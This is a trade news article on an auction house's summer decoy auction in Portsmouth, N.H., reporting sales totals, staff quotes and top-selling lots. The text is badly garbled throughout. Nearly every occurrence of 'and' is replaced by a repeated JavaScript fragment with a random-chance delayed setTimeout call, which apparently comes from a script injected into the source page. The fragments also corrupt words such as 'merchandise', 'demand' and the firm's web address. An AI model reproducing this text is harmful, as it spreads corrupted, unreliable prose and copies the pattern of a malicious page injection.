PORTSMOUTH, N.H. — Guyette, Schmidt & Deeter’s annual summer decoy auction took place August 1–2 at the Sheraton Harborside Hotel, featuring consignments from five early collections as well as choice additions.

A decoy dealer “Buy, Sell & Swap” accompanied the sale. Many of the lots offered in this sale were being sold at auction for the first time or had not been seen since the early decoy auctions dating back to the Richard Bourne sales of the early 1980s. The combination created a great deal of excitement among the participants.

The sale grossed more than $3 million, with 98 percent of the items offered being sold; 62 items sold for more than $10,000 each andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and two lots sold for more than $100,000, making it the most successful decoy auction by any company since 2007.

Many factors point to the sale’s success, said Gary Guyette, president of Guyette, Schmidt & Deeter, “Our guests really enjoy making this summer auction part of a summer vacation destination where they can view hundreds of decoys, visit with friends andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and meet other collectors. Portsmouth provides a perfect venue for a summer getaway. Not having sales tax is an added bonus.” Auction attendees were treated to a complimentary “New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and” luncheon both sale days.

Bidding both days was strong, caused by a renewed interest from seasoned collectors, along with new participants entering the market. During the auction preview, the excitement could be felt in the room. The audience was there to buy great decoys that they wanted, not to shop for bargains. Phone bidders competed with auction attendees, which continuously drove prices over presale estimates.

The auction contained hundreds of quality items that had never been sold at auction before, as well as many items that had been off the market for 30 years or more. Additionally, only a small percentage of items were reserved. Guyette attributed the success of the sale to the fresh, high-quality merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise being sold unreserved, causing a great deal of excitement. Also, the firm guarantees condition reports, which gives buyers confidence.

“The decoy market continues to show signs of strength. The blend of an improving economy, high-quality merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise, new participants andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a strong marketing program is resulting in an increased demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that has been absent for the last few years,” said Jon Deeter, vice president of Guyette, Schmidt & Deeter

“The fastest growing segment of participation at Guyette, Schmidt & Deeter auctions continues to be online bidders. This auction sold 98 lots valuing more than $150,000 online. More experienced bidders tend to bid by phone or attend live which we strongly encourage, however the Internet is giving a lot of exposure to our collecting niche which is very positive,” added Deeter.

Auction highlights included the two top lots coming from the Carolyn Rowlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collection; an extremely rare dust jacket-style black bellied plover andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a decorative feeding curlew by Elmer Crowell, selling for $214,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $109,250 respectively. Other highlights included a ruddy turnstone by John Dilley selling for $97,750 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and many Ward Brothers decoys, including a hooded merganser hen selling for $92,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a black duck for $74,750.

Guyette Schmidt & Deeter’s next decoy sale will be November 6–7 in Easton, Md., in conjunction with the Easton Waterfowl Festival andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and will feature the collection of legendary decoy collectors Robert andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Wilma Gerard.

All prices reported include the buyer’s premium. For information, 410-745-0485 or5 www.guyetteandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andschmidt.com.